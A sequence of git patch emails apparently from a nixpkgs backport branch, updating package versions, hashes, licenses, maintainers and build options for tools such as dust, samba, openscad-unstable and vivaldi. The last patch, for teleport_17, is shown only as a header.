From bd8f2cd42587521511b7eda3e2e1202d1f0cfc57 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 23 May 2025 17:22:55 +0200
Subject: [PATCH 0606/4511] dust: add defelo as maintainer

(cherry picked from commit 680dda8cf1f6efce2affeb2aeeb3f9d089c90e48)
---
 pkgs/by-name/du/dust/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/du/dust/package.nix b/pkgs/by-name/du/dust/package.nix
index a0eb8ecc462d..bbcfa8fd96be 100644
--- a/pkgs/by-name/du/dust/package.nix
+++ b/pkgs/by-name/du/dust/package.nix
@@ -59,7 +59,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
     homepage = "https://github.com/bootandy/dust";
     changelog = "https://github.com/bootandy/dust/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.asl20;
-    maintainers = with lib.maintainers; [ aaronjheng ];
+    maintainers = with lib.maintainers; [
+      aaronjheng
+      defelo
+    ];
     mainProgram = "dust";
   };
 })

From d10418dda4bd65d67602f89f9e6d320bea26c6de Mon Sep 17 00:00:00 2001
From: Jost Alemann <jost_alemann@me.com>
Date: Wed, 4 Jun 2025 21:20:36 +0200
Subject: [PATCH 0607/4511] dust: 1.2.0 -> 1.2.1

Changelog: https://github.com/bootandy/dust/releases/tag/v1.2.1
Diff: https://github.com/bootandy/dust/compare/v1.2.0...v1.2.1

(cherry picked from commit 6430162b6ac7c70badd9af9cbfecf5dc31b52eb3)
---
 pkgs/by-name/du/dust/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/du/dust/package.nix b/pkgs/by-name/du/dust/package.nix
index bbcfa8fd96be..8a27503204b5 100644
--- a/pkgs/by-name/du/dust/package.nix
+++ b/pkgs/by-name/du/dust/package.nix
@@ -12,13 +12,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
   # Since then, `dust` has been freed up, allowing this package to take that attribute.
   # However in order for tools like `nix-env` to detect package updates, keep `du-dust` for pname.
   pname = "du-dust";
-  version = "1.2.0";
+  version = "1.2.1";
 
   src = fetchFromGitHub {
     owner = "bootandy";
     repo = "dust";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-MmlCTF7tZBBOCnyhUjTatDjajFMGd+Nk2kYyxjzZc04=";
+    hash = "sha256-3Mk2gPlnm2kTRbn74T1YDH/DnjAyhFZQFK83OQaDNeo=";
     # Remove unicode file names which leads to different checksums on HFS+
     # vs. other filesystems because of unicode normalisation.
     postFetch = ''
@@ -27,7 +27,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-H2tfDZBhIRRrdak8TWjzzjeJBQmYZVWqXNtxTnBnbDk=";
+  cargoHash = "sha256-IZv4XQmBvxUp5k5bn5B4qTJAVBrRO0OZaUlqCni6NpI=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From 41c7def9469024bf09801d547a2ebea7ea812240 Mon Sep 17 00:00:00 2001
From: Jordan Williams <jordan@jwillikers.com>
Date: Fri, 30 May 2025 15:47:25 -0500
Subject: [PATCH 0608/4511] efficient-compression-tool: 0.9.1 -> 0.9.5

(cherry picked from commit 0a6b7417df35db198888275a2c16a7dd8174220e)
---
 .../ef/efficient-compression-tool/package.nix |  53 ++++++---
 .../use-nixpkgs-libpng.patch                  | 108 ------------------
 2 files changed, 38 insertions(+), 123 deletions(-)
 delete mode 100644 pkgs/by-name/ef/efficient-compression-tool/use-nixpkgs-libpng.patch

diff --git a/pkgs/by-name/ef/efficient-compression-tool/package.nix b/pkgs/by-name/ef/efficient-compression-tool/package.nix
index 7b01069437d9..659fceca90f7 100644
--- a/pkgs/by-name/ef/efficient-compression-tool/package.nix
+++ b/pkgs/by-name/ef/efficient-compression-tool/package.nix
@@ -6,27 +6,42 @@
   cmake,
   nasm,
   libpng,
+  nix-update-script,
+  versionCheckHook,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "efficient-compression-tool";
-  version = "0.9.1";
+  version = "0.9.5";
 
   src = fetchFromGitHub {
     owner = "fhanau";
     repo = "Efficient-Compression-Tool";
-    rev = "v${version}";
-    hash = "sha256-TSV5QXf6GuHAwQrde3Zo9MA1rtpAhtRg0UTzMkBnHB8=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-mlqRDYwgLiB/mRaXkkPTCLiDGxTXqEgu5Nz5jhr1Hsg=";
     fetchSubmodules = true;
   };
 
+  # devendor libpng
+  postPatch = ''
+    substituteInPlace src/CMakeLists.txt \
+      --replace-fail 'if(EXISTS "''${CMAKE_SOURCE_DIR}/../.git" AND NOT EXISTS "''${CMAKE_SOURCE_DIR}/../src/libpng/README")' 'if(False)' \
+      --replace-fail 'file(COPY ''${CMAKE_SOURCE_DIR}/pngusr.h DESTINATION ''${CMAKE_SOURCE_DIR}/libpng/)' ""
+    substituteInPlace src/optipng/CMakeLists.txt \
+      --replace-fail 'set(PNG_BUILD_ZLIB ON CACHE BOOL "use custom zlib within libpng" FORCE)' "" \
+      --replace-fail 'add_subdirectory(../libpng libpng EXCLUDE_FROM_ALL)' "" \
+      --replace-fail 'png_static)' 'png)'
+    substituteInPlace src/optipng/image.h src/optipng/trans.h \
+      --replace-fail '#include "../libpng/png.h"' '#include <png.h>'
+    substituteInPlace src/optipng/opngreduc/opngreduc.h \
+      --replace-fail '#include "../../libpng/png.h"' '#include <png.h>'
+  '';
+
   nativeBuildInputs = [
     cmake
     nasm
   ];
 
-  patches = [ ./use-nixpkgs-libpng.patch ];
-
   buildInputs = [
     boost
     libpng
@@ -36,17 +51,25 @@ stdenv.mkDerivation rec {
 
   cmakeFlags = [ "-DECT_FOLDER_SUPPORT=ON" ];
 
-  CXXFLAGS = [
-    # GCC 13: error: 'uint32_t' does not name a type
-    "-include cstdint"
-  ];
+  doInstallCheck = true;
+  nativeInstallCheckInputs = [ versionCheckHook ];
+  versionCheckProgram = "${placeholder "out"}/bin/${finalAttrs.meta.mainProgram}";
+  versionCheckProgramArg = "-help";
 
-  meta = with lib; {
+  passthru = {
+    updateScript = nix-update-script { };
+  };
+
+  meta = {
     description = "Fast and effective C++ file optimizer";
     homepage = "https://github.com/fhanau/Efficient-Compression-Tool";
-    license = licenses.asl20;
-    maintainers = [ maintainers.lunik1 ];
-    platforms = platforms.linux;
+    changelog = "https://github.com/fhanau/Efficient-Compression-Tool/releases/tag/${finalAttrs.version}";
+    license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [
+      jwillikers
+      lunik1
+    ];
+    platforms = lib.platforms.all;
     mainProgram = "ect";
   };
-}
+})
diff --git a/pkgs/by-name/ef/efficient-compression-tool/use-nixpkgs-libpng.patch b/pkgs/by-name/ef/efficient-compression-tool/use-nixpkgs-libpng.patch
deleted file mode 100644
index f165b2b95506..000000000000
--- a/pkgs/by-name/ef/efficient-compression-tool/use-nixpkgs-libpng.patch
+++ /dev/null
@@ -1,108 +0,0 @@
-diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt
-index d18843c..a9df1fb 100644
---- a/src/CMakeLists.txt
-+++ b/src/CMakeLists.txt
-@@ -8,11 +8,6 @@ if(NOT CMAKE_BUILD_TYPE)
- 	set(CMAKE_BUILD_TYPE Release)
- endif()
- 
--# Check that submodules are present only if source was downloaded with git
--if(EXISTS "${CMAKE_SOURCE_DIR}/../.git" AND NOT EXISTS "${CMAKE_SOURCE_DIR}/../src/libpng/README")
--    message (FATAL_ERROR "Submodules are not initialized. Run \n\tgit submodule update --init --recursive\n within the repository")
--endif()
--
- add_executable(ect
- 	main.cpp
- 	gztools.cpp
-@@ -56,7 +51,6 @@ add_subdirectory(lodepng EXCLUDE_FROM_ALL)
- add_subdirectory(miniz EXCLUDE_FROM_ALL)
- add_subdirectory(zlib EXCLUDE_FROM_ALL)
- add_subdirectory(zopfli EXCLUDE_FROM_ALL)
--file(COPY ${CMAKE_SOURCE_DIR}/pngusr.h DESTINATION ${CMAKE_SOURCE_DIR}/libpng/)
- add_subdirectory(optipng EXCLUDE_FROM_ALL)
- # Mozjpeg changes the install prefix if it thinks the current is defaulted
- set(CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT FALSE)
-diff --git a/src/Makefile b/src/Makefile
-index cc24367..7aa9f0a 100755
---- a/src/Makefile
-+++ b/src/Makefile
-@@ -18,7 +18,7 @@ CXXSRC = support.cpp zopflipng.cpp zopfli/deflate.cpp zopfli/zopfli_gzip.cpp zop
- lodepng/lodepng.cpp lodepng/lodepng_util.cpp optipng/codec.cpp optipng/optipng.cpp jpegtran.cpp gztools.cpp \
- leanify/zip.cpp leanify/leanify.cpp
- 
--.PHONY: libpng mozjpeg deps bin all install
-+.PHONY: mozjpeg deps bin all install
- all: deps bin
- 
- bin: deps
-@@ -33,9 +33,6 @@ libz.a:
- 	cd zlib/; \
- 	$(CC) $(UCFLAGS) -c adler32.c crc32.c deflate.c inffast.c inflate.c inftrees.c trees.c zutil.c gzlib.c gzread.c; \
- 	ar rcs ../libz.a adler32.o crc32.o deflate.o inffast.o inflate.o inftrees.o trees.o zutil.o gzlib.o gzread.o
--libpng:
--	cp pngusr.h libpng/pngusr.h
--	make -C libpng/ -f scripts/makefile.linux-opt CC="$(CC)" CFLAGS="$(UCFLAGS) -DPNG_USER_CONFIG -Wno-macro-redefined" libpng.a
- mozjpeg:
- 	cd mozjpeg/; \
- 	export CC="$(CC)"; \
-diff --git a/src/optipng/CMakeLists.txt b/src/optipng/CMakeLists.txt
-index 1037a20..3c751e9 100644
---- a/src/optipng/CMakeLists.txt
-+++ b/src/optipng/CMakeLists.txt
-@@ -16,16 +16,14 @@ add_library(optipng
- add_library(optipng::optipng ALIAS optipng)
- 
- #make sure that we are using custom zlib and custom libpng options
--set(PNG_BUILD_ZLIB ON CACHE BOOL "use custom zlib within libpng" FORCE)
- set(ZLIB_INCLUDE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/../zlib/ CACHE FILEPATH "custom zlib directory" FORCE)
- if(NOT WIN32)
- 	add_compile_options(-Wno-macro-redefined)
- endif()
- add_compile_definitions(PNG_USER_CONFIG)
- 
--add_subdirectory(../libpng libpng EXCLUDE_FROM_ALL)
- target_link_libraries(optipng
--	png_static)
-+	png)
- 
- # libpng generates some header files that we need to be able to include
- target_include_directories(optipng
-diff --git a/src/optipng/image.h b/src/optipng/image.h
-index c439f84..8255fa0 100755
---- a/src/optipng/image.h
-+++ b/src/optipng/image.h
-@@ -13,7 +13,7 @@
- #ifndef OPNGCORE_IMAGE_H
- #define OPNGCORE_IMAGE_H
- 
--#include "../libpng/png.h"
-+#include <png.h>
- 
- #ifdef __cplusplus
- extern "C" {
-diff --git a/src/optipng/opngreduc/opngreduc.h b/src/optipng/opngreduc/opngreduc.h
-index a7e6553..06ef956 100755
---- a/src/optipng/opngreduc/opngreduc.h
-+++ b/src/optipng/opngreduc/opngreduc.h
-@@ -13,7 +13,7 @@
- 
- #include <stdbool.h>
- 
--#include "../../libpng/png.h"
-+#include <png.h>
- 
- 
- #ifdef __cplusplus
-diff --git a/src/optipng/trans.h b/src/optipng/trans.h
-index a2f7f3e..c0e8dc4 100755
---- a/src/optipng/trans.h
-+++ b/src/optipng/trans.h
-@@ -13,7 +13,7 @@
- #ifndef OPNGTRANS_TRANS_H
- #define OPNGTRANS_TRANS_H
- 
--#include "../libpng/png.h"
-+#include <png.h>
- 
- #ifdef __cplusplus
- extern "C" {

From 574c7506d6e2a66e6d61bb43ff76a2fb9519c6ef Mon Sep 17 00:00:00 2001
From: Kenichi Kamiya <kachick1@gmail.com>
Date: Wed, 4 Jun 2025 23:40:36 +0900
Subject: [PATCH 0609/4511] tdf: correct license

Upstream changed its license to GPL-3.0-or-later
starting with version 0.2.0.

- https://github.com/itsjunetime/tdf/commit/b9a12650c6065411e18ed88f396f62c448fdfcbf
- https://github.com/itsjunetime/tdf/blob/v0.2.0/LICENSE

(cherry picked from commit 1290be592e237394baafa2c882e9cf5df54bc82f)
---
 pkgs/by-name/td/tdf/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/td/tdf/package.nix b/pkgs/by-name/td/tdf/package.nix
index 26514d2d1305..c76fcaab1ce4 100644
--- a/pkgs/by-name/td/tdf/package.nix
+++ b/pkgs/by-name/td/tdf/package.nix
@@ -41,7 +41,7 @@ rustPlatform.buildRustPackage {
   meta = {
     description = "Tui-based PDF viewer";
     homepage = "https://github.com/itsjunetime/tdf";
-    license = lib.licenses.mpl20;
+    license = lib.licenses.gpl3Plus;
     maintainers = with lib.maintainers; [
       luftmensch-luftmensch
       DieracDelta

From e9f574a6193e4f322c540e43cfcb62cf95a088ee Mon Sep 17 00:00:00 2001
From: Patrick <patrick@failmail.dev>
Date: Sun, 25 May 2025 20:41:33 +0200
Subject: [PATCH 0610/4511] firefly-iii: 6.2.10 -> 6.2.16

(cherry picked from commit f33280111dd32764307177b63595b130cf238f50)
---
 pkgs/by-name/fi/firefly-iii/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii/package.nix b/pkgs/by-name/fi/firefly-iii/package.nix
index 0e080d5510ea..770653eaf4ed 100644
--- a/pkgs/by-name/fi/firefly-iii/package.nix
+++ b/pkgs/by-name/fi/firefly-iii/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii";
-  version = "6.2.10";
+  version = "6.2.16";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "firefly-iii";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-T3XXUhls4Oi/0PGuunMLk6Wvla18fvHHI78qKsweFTE=";
+    hash = "sha256-SFl2uGHunF/IjhO5XoDCh1bJ5eIWRosv7HFDMXyknvI=";
   };
 
   buildInputs = [ php84 ];
@@ -38,13 +38,13 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     composerNoScripts = true;
     composerStrictValidation = true;
     strictDeps = true;
-    vendorHash = "sha256-pYnBiuzuTPP+7KSHUOj9mt+TTzgH85KeavXUfMN1ctI=";
+    vendorHash = "sha256-C7lsSon9y286DoAppteZ3fY0qaWVTe66nyFckyrnylk=";
   };
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-BX8YYnewcnnOQa788DPSIID5Drqw7XhYGHcevPy0JrA=";
+    hash = "sha256-qymMgMXjKll3awXFL/Lo8DloPyqAaxoS2Lw8HBaar9g=";
   };
 
   preInstall = ''

From 55ea9618a146e3c2b2c423f996d36a5ab893581c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 5 Jun 2025 02:45:22 +0000
Subject: [PATCH 0611/4511] knot-dns: 3.4.6 -> 3.4.7

(cherry picked from commit cbe714592881bba16352df4f9d544e7a81a0bd43)
---
 pkgs/by-name/kn/knot-dns/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/kn/knot-dns/package.nix b/pkgs/by-name/kn/knot-dns/package.nix
index 361bdb298424..a415cb289709 100644
--- a/pkgs/by-name/kn/knot-dns/package.nix
+++ b/pkgs/by-name/kn/knot-dns/package.nix
@@ -33,11 +33,11 @@
 
 stdenv.mkDerivation rec {
   pname = "knot-dns";
-  version = "3.4.6";
+  version = "3.4.7";
 
   src = fetchurl {
     url = "https://secure.nic.cz/files/knot-dns/knot-${version}.tar.xz";
-    sha256 = "sha256-0ZxaH/lLTyYCfWNd4Qjb/Ij1ZSvobMs7qaRO6b4OWDk=";
+    sha256 = "sha256-3TRspvOvq83F6boJ3WZ7AQWQu2akL0VBAh+51vBz2sw=";
   };
 
   outputs = [

From 2f0990c5d1697feaf4eda64f88bd8c6297ea6267 Mon Sep 17 00:00:00 2001
From: Tim Van Baak <tim.vanbaak@gmail.com>
Date: Wed, 4 Jun 2025 12:58:37 -0700
Subject: [PATCH 0612/4511] samba: 4.20.4 -> 4.20.8

(cherry picked from commit b05348651da80907d55802507b45e0e542b8b992)
---
 pkgs/servers/samba/4.x.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/samba/4.x.nix b/pkgs/servers/samba/4.x.nix
index 10946a0803d4..dc753bbb1b6d 100644
--- a/pkgs/servers/samba/4.x.nix
+++ b/pkgs/servers/samba/4.x.nix
@@ -79,11 +79,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "samba";
-  version = "4.20.4";
+  version = "4.20.8";
 
   src = fetchurl {
     url = "https://download.samba.org/pub/samba/stable/samba-${finalAttrs.version}.tar.gz";
-    hash = "sha256-OpLpfq6zRbazIjL1A+FNNPA6eqZMRR/owlihG72pCOU=";
+    hash = "sha256-db4OjTH0UBPpsmD+fPMEo20tgSg5GRR3JXchXsFzqAc=";
   };
 
   outputs = [

From 19c06fb105b8f83119cf7c837143e12bf8ff9158 Mon Sep 17 00:00:00 2001
From: Herwig Hochleitner <herwig@bendlas.net>
Date: Wed, 21 May 2025 14:55:09 +0200
Subject: [PATCH 0613/4511] openscad-unstable: 2025-02-07 -> 2025-05-17

(cherry picked from commit d14319bdd95a69083286d578101a7648cb0e8531)
---
 pkgs/by-name/op/openscad-unstable/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/openscad-unstable/package.nix b/pkgs/by-name/op/openscad-unstable/package.nix
index 2e357632851a..973770cab6ef 100644
--- a/pkgs/by-name/op/openscad-unstable/package.nix
+++ b/pkgs/by-name/op/openscad-unstable/package.nix
@@ -46,12 +46,12 @@
 # clang consume much less RAM than GCC
 clangStdenv.mkDerivation rec {
   pname = "openscad-unstable";
-  version = "2025-02-07";
+  version = "2025-05-17";
   src = fetchFromGitHub {
     owner = "openscad";
     repo = "openscad";
-    rev = "1308a7d476facb466bf9fae1e77666c35c8e3c8f";
-    hash = "sha256-+0cQ5mgRzOPfP6nl/rfC/hnw3V7yvGJCyLU8hOmlGOc=";
+    rev = "c76900f9a62fcb98c503dcc5ccce380db8ac564b";
+    hash = "sha256-R2/8T5+BugVTRIUVLaz6SxKQ1YrtyAGbiE4K1Fuc6bg=";
     # Unfortunately, we can't selectively fetch submodules. It would be good
     # to see that we don't accidentally depend on it.
     fetchSubmodules = true; # Only really need sanitizers-cmake and MCAD

From 5cf804d8a37ecd13f0dbb5f056a9d11f00aa694a Mon Sep 17 00:00:00 2001
From: Herwig Hochleitner <herwig@bendlas.net>
Date: Thu, 29 May 2025 14:52:17 +0200
Subject: [PATCH 0614/4511] openscad-unstable: dependency tbb_2021_11 ->
 tbb_2022_0

(cherry picked from commit 2f9dc9ff3c8f4abff18ecebb51d3ee6ffaa2dc5e)
---
 pkgs/by-name/op/openscad-unstable/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/op/openscad-unstable/package.nix b/pkgs/by-name/op/openscad-unstable/package.nix
index 973770cab6ef..9a34bf9414e1 100644
--- a/pkgs/by-name/op/openscad-unstable/package.nix
+++ b/pkgs/by-name/op/openscad-unstable/package.nix
@@ -34,7 +34,7 @@
   mesa,
   mpfr,
   python3,
-  tbb_2021_11,
+  tbb_2022_0,
   wayland,
   wayland-protocols,
   wrapGAppsHook3,
@@ -81,7 +81,7 @@ clangStdenv.mkDerivation rec {
     [
       clipper2
       glm
-      tbb_2021_11
+      tbb_2022_0
       mimalloc
       boost
       cairo

From 2adc0cd2900e46fac10dbc9cea0544dbcd4c3b8d Mon Sep 17 00:00:00 2001
From: Herwig Hochleitner <herwig@bendlas.net>
Date: Thu, 29 May 2025 14:53:24 +0200
Subject: [PATCH 0615/4511] openscad-unstable: use builtin manifold

(cherry picked from commit 1e14d2c7658451c29dfb69d971d0d3f35ee4e7e3)
---
 pkgs/by-name/op/openscad-unstable/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/openscad-unstable/package.nix b/pkgs/by-name/op/openscad-unstable/package.nix
index 9a34bf9414e1..d2f14130af13 100644
--- a/pkgs/by-name/op/openscad-unstable/package.nix
+++ b/pkgs/by-name/op/openscad-unstable/package.nix
@@ -30,7 +30,6 @@
   libsForQt5,
   libspnav,
   libzip,
-  manifold,
   mesa,
   mpfr,
   python3,
@@ -99,7 +98,6 @@ clangStdenv.mkDerivation rec {
       lib3mf
       libspnav
       libzip
-      manifold
       mpfr
       qscintilla
       qtbase
@@ -119,7 +117,9 @@ clangStdenv.mkDerivation rec {
     "-DEXPERIMENTAL=ON" # enable experimental options
     "-DSNAPSHOT=ON" # nightly icons
     "-DUSE_BUILTIN_OPENCSG=OFF"
-    "-DUSE_BUILTIN_MANIFOLD=OFF"
+    # use builtin manifold: 3.1.0 doesn't pass tests, builtin is 7c8fbe1, between 3.0.1 and 3.1.0
+    # FIXME revisit on version update
+    "-DUSE_BUILTIN_MANIFOLD=ON"
     "-DUSE_BUILTIN_CLIPPER2=OFF"
     "-DOPENSCAD_VERSION=\"${builtins.replaceStrings [ "-" ] [ "." ] version}\""
     "-DCMAKE_UNITY_BUILD=OFF" # broken compile with unity

From ecfc56408bb37b2a5b1fb94b21762395f42cbe0e Mon Sep 17 00:00:00 2001
From: Herwig Hochleitner <herwig@bendlas.net>
Date: Thu, 29 May 2025 14:53:48 +0200
Subject: [PATCH 0616/4511] openscad-unstable: remove unused submodules

(cherry picked from commit eed3d892a9bcc183ed69931b95c09552fe559883)
---
 pkgs/by-name/op/openscad-unstable/package.nix | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/openscad-unstable/package.nix b/pkgs/by-name/op/openscad-unstable/package.nix
index d2f14130af13..8cd61bd201dd 100644
--- a/pkgs/by-name/op/openscad-unstable/package.nix
+++ b/pkgs/by-name/op/openscad-unstable/package.nix
@@ -51,9 +51,7 @@ clangStdenv.mkDerivation rec {
     repo = "openscad";
     rev = "c76900f9a62fcb98c503dcc5ccce380db8ac564b";
     hash = "sha256-R2/8T5+BugVTRIUVLaz6SxKQ1YrtyAGbiE4K1Fuc6bg=";
-    # Unfortunately, we can't selectively fetch submodules. It would be good
-    # to see that we don't accidentally depend on it.
-    fetchSubmodules = true; # Only really need sanitizers-cmake and MCAD
+    fetchSubmodules = true; # Only really need sanitizers-cmake and MCAD and manifold
   };
 
   patches = [ ./test.diff ];
@@ -135,6 +133,14 @@ clangStdenv.mkDerivation rec {
   # tests rely on sysprof which is not available on darwin
   doCheck = !stdenv.hostPlatform.isDarwin;
 
+  # remove unused submodules, to ensure correct dependency usage
+  postUnpack = ''
+    ( cd $sourceRoot
+      for m in submodules/OpenCSG submodules/mimalloc submodules/Clipper2
+      do rm -r $m
+      done )
+  '';
+
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     mkdir $out/Applications
     mv $out/bin/*.app $out/Applications

From ca3d87440344c175b54061629dae902a5088e08a Mon Sep 17 00:00:00 2001
From: FliegendeWurst <arne.keller@posteo.de>
Date: Wed, 4 Jun 2025 09:48:04 +0200
Subject: [PATCH 0617/4511] openscad-unstable: 2025-05-17 -> 2025-06-04

(cherry picked from commit 5cd05b7c9bec38ba998fadab2229d3aebcb5b1a5)
---
 pkgs/by-name/op/openscad-unstable/package.nix | 20 +++++++------------
 1 file changed, 7 insertions(+), 13 deletions(-)

diff --git a/pkgs/by-name/op/openscad-unstable/package.nix b/pkgs/by-name/op/openscad-unstable/package.nix
index 8cd61bd201dd..f8a2a0f7be6f 100644
--- a/pkgs/by-name/op/openscad-unstable/package.nix
+++ b/pkgs/by-name/op/openscad-unstable/package.nix
@@ -30,6 +30,7 @@
   libsForQt5,
   libspnav,
   libzip,
+  manifold,
   mesa,
   mpfr,
   python3,
@@ -45,12 +46,12 @@
 # clang consume much less RAM than GCC
 clangStdenv.mkDerivation rec {
   pname = "openscad-unstable";
-  version = "2025-05-17";
+  version = "2025-06-04";
   src = fetchFromGitHub {
     owner = "openscad";
     repo = "openscad";
-    rev = "c76900f9a62fcb98c503dcc5ccce380db8ac564b";
-    hash = "sha256-R2/8T5+BugVTRIUVLaz6SxKQ1YrtyAGbiE4K1Fuc6bg=";
+    rev = "65856c9330f8cc4ffcaccf03d91b4217f2eae28d";
+    hash = "sha256-jozcLFGVSfw8G12oSxHjqUyFtAfENgIByID+omk08mU=";
     fetchSubmodules = true; # Only really need sanitizers-cmake and MCAD and manifold
   };
 
@@ -87,7 +88,6 @@ clangStdenv.mkDerivation rec {
       eigen
       fontconfig
       freetype
-      ghostscript
       glib
       gmp
       opencsg
@@ -96,6 +96,7 @@ clangStdenv.mkDerivation rec {
       lib3mf
       libspnav
       libzip
+      manifold
       mpfr
       qscintilla
       qtbase
@@ -115,9 +116,7 @@ clangStdenv.mkDerivation rec {
     "-DEXPERIMENTAL=ON" # enable experimental options
     "-DSNAPSHOT=ON" # nightly icons
     "-DUSE_BUILTIN_OPENCSG=OFF"
-    # use builtin manifold: 3.1.0 doesn't pass tests, builtin is 7c8fbe1, between 3.0.1 and 3.1.0
-    # FIXME revisit on version update
-    "-DUSE_BUILTIN_MANIFOLD=ON"
+    "-DUSE_BUILTIN_MANIFOLD=OFF"
     "-DUSE_BUILTIN_CLIPPER2=OFF"
     "-DOPENSCAD_VERSION=\"${builtins.replaceStrings [ "-" ] [ "." ] version}\""
     "-DCMAKE_UNITY_BUILD=OFF" # broken compile with unity
@@ -150,15 +149,10 @@ clangStdenv.mkDerivation rec {
   nativeCheckInputs = [
     mesa.llvmpipeHook
     ctestCheckHook
+    ghostscript
   ];
 
   dontUseNinjaCheck = true;
-  checkFlags = [
-    "-E"
-    # some fontconfig issues cause pdf output to have wrong font
-    # manifold update caused slight rendering changes
-    "pdfexporttest|amfrendermanifoldtest_(issue1105|bad-stl-pcbvicebar|bad-stl-tardis)"
-  ];
 
   meta = with lib; {
     description = "3D parametric model compiler (unstable)";

From 7f3969bbb99f6de1cede8204a1cffd7448df195f Mon Sep 17 00:00:00 2001
From: rewine <luhongxu@deepin.org>
Date: Thu, 5 Jun 2025 11:31:48 +0800
Subject: [PATCH 0618/4511] vivaldi: 7.4.3684.43 -> 7.4.3684.46

(cherry picked from commit f633b66c34008394626e708cf0fc820b4905646a)
---
 pkgs/by-name/vi/vivaldi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index b03a862c7713..70a9d9c87ce2 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -66,7 +66,7 @@
 
 stdenv.mkDerivation rec {
   pname = "vivaldi";
-  version = "7.4.3684.43";
+  version = "7.4.3684.46";
 
   suffix =
     {
@@ -79,8 +79,8 @@ stdenv.mkDerivation rec {
     url = "https://downloads.vivaldi.com/stable/vivaldi-stable_${version}-1_${suffix}.deb";
     hash =
       {
-        aarch64-linux = "sha256-/Zmxwm65HjIL/JdWJtvcgxk4Bj4VcTXr/px6eCJHy0I=";
-        x86_64-linux = "sha256-tDGoew5jEOqoHIHSvoOsBcuEzq817YT0pFSO3Li48OU=";
+        aarch64-linux = "sha256-vcTuqCZy0OlfO5Iz06QVGJRtT3L55wWdmE9R6Y3P1/k=";
+        x86_64-linux = "sha256-uD2CZ4OEZbLIDgl3VGdHwr0edyJd4Gv/C22Z5wQMYk8=";
       }
       .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   };

From 1ea225ce025d0dd9790bd93ebd79551ad1fbaa63 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 5 Jun 2025 09:50:40 +0000
Subject: [PATCH 0619/4511] clorinde: 0.15.2 -> 0.16.0

(cherry picked from commit 453d0a30a40139ea549418073939f835e398374f)
---
 pkgs/by-name/cl/clorinde/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/cl/clorinde/package.nix b/pkgs/by-name/cl/clorinde/package.nix
index f56be8024eef..3eed4fed07e1 100644
--- a/pkgs/by-name/cl/clorinde/package.nix
+++ b/pkgs/by-name/cl/clorinde/package.nix
@@ -8,17 +8,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "clorinde";
-  version = "0.15.2";
+  version = "0.16.0";
 
   src = fetchFromGitHub {
     owner = "halcyonnouveau";
     repo = "clorinde";
     tag = "clorinde-v${finalAttrs.version}";
-    hash = "sha256-CrgJtgFX5RBNfFFr2ZZ0d3oKfryyLAHva7g2JyBFiB8=";
+    hash = "sha256-ze/PEML1buh3HlVgz6ifMPWfZnr6eT3VpIXf7jR68jw=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-jUtkhOAosrxHGRbAdzdrgLzL5Xp2YhxcrG/dcwUhdLg=";
+  cargoHash = "sha256-dp5m/PLVG8xUM6LCq48NKK0P8di44keB/YZ9ocfL0Bg=";
 
   cargoBuildFlags = [ "--package=clorinde" ];
 

From e488d96b3c73ff5a67cc77bd7779ad602afd3708 Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Wed, 4 Jun 2025 23:21:22 +0300
Subject: [PATCH 0620/4511] teleport_17: 17.4.8 -> 17.5.1

Changelogs: https://github.com/gravitational/teleport/releases/tag/v17.5.0 https://github.com/gravitational/teleport/releases/tag/v17.5.1
